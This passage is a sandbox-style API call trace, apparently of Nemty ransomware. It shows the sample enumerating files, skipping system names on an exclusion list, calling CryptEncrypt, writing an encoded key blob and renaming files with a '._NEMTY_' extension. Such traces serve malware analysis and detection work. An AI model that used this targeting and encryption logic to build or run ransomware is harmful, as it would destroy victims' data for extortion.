hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.147] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.147] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.157] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.157] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.181] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.182] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.182] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0053.182] CloseHandle (hObject=0xffffffff) returned 0 [0053.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0053.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0053.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0053.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0053.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0053.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0053.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.182] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0053.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0053.182] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0053.182] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2=".") returned 1 [0053.182] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="..") returned 1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="...") returned 1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="windows") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="$RECYCLE.BIN") returned 1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="rsa") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="NTDETECT.COM") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="ntldr") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="MSDOS.SYS") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="IO.SYS") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="boot.ini") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="boot.ini") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="AUTOEXEC.BAT") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="ntuser.dat") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="desktop.ini") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="CONFIG.SYS") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="RECYCLER") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="BOOTSECT.BAK") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="bootmgr") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="programdata") returned -1 [0053.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="appdata") returned -1 [0053.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_VideoInset.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0053.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_VideoInset.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_VideoInset.png", lpUsedDefaultChar=0x0) returned 31 [0053.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0053.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_VideoInset.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0053.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_VideoInset.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_VideoInset.png", lpUsedDefaultChar=0x0) returned 31 [0053.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0053.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_VideoInset.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0053.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_VideoInset.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_VideoInset.png", lpUsedDefaultChar=0x0) returned 31 [0053.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_VideoInset.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0053.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_VideoInset.png", cchWideChar=31, lpMultiByteStr=0x4f9ed08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_VideoInset.png", lpUsedDefaultChar=0x0) returned 31 [0053.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94388 [0053.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0053.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0053.184] Sleep (dwMilliseconds=0x5) [0053.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd35a5570, dwHighDateTime=0x1d561e7)) [0053.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd35a5570, dwHighDateTime=0x1d561e7)) [0053.194] GetLastError () returned 0x5 [0053.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.194] GetLastError () returned 0x5 [0053.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0053.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0053.194] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0053.194] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0053.194] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0053.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0053.194] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="Wyy3MKUWEmGfMbxnVi4OIcVwSASSIS3x6oHS2joKZnyITTtXyll0cm4dDx00aZ2e\r\nkrqH3GjEqa+DRXiZNRRMu57+VUYFIvo0tK/Lghwv5MSCgrRSqP52gxu8u0W/eE2s\r\nBXVyrBAJpcmuYRZave58CM18Dtx3P2A6sADfINWlVzKBoqtmKaU5MY7uo0ZiLJ1V\r\n5mylfdASl8yrAZepHocOQzn7uVTuVLyUA9d7xLBrttrdrWFMc0W5iI25oXnS1q1/\r\n2rPWyRXQYleIv4PbtuN0UK4Rc6A4CBmxAExIhUHumdUK5tIcFPOI+chip/h6YDKq\r\nFF+7AOeR8JrCDeBKZsvIgg==\r\n", pcchString=0x653ec5c) returned 1 [0053.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0053.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0053.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0053.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0053.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0053.194] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.195] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0053.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0053.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.195] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.205] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.205] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.215] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.224] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.224] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.243] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.252] 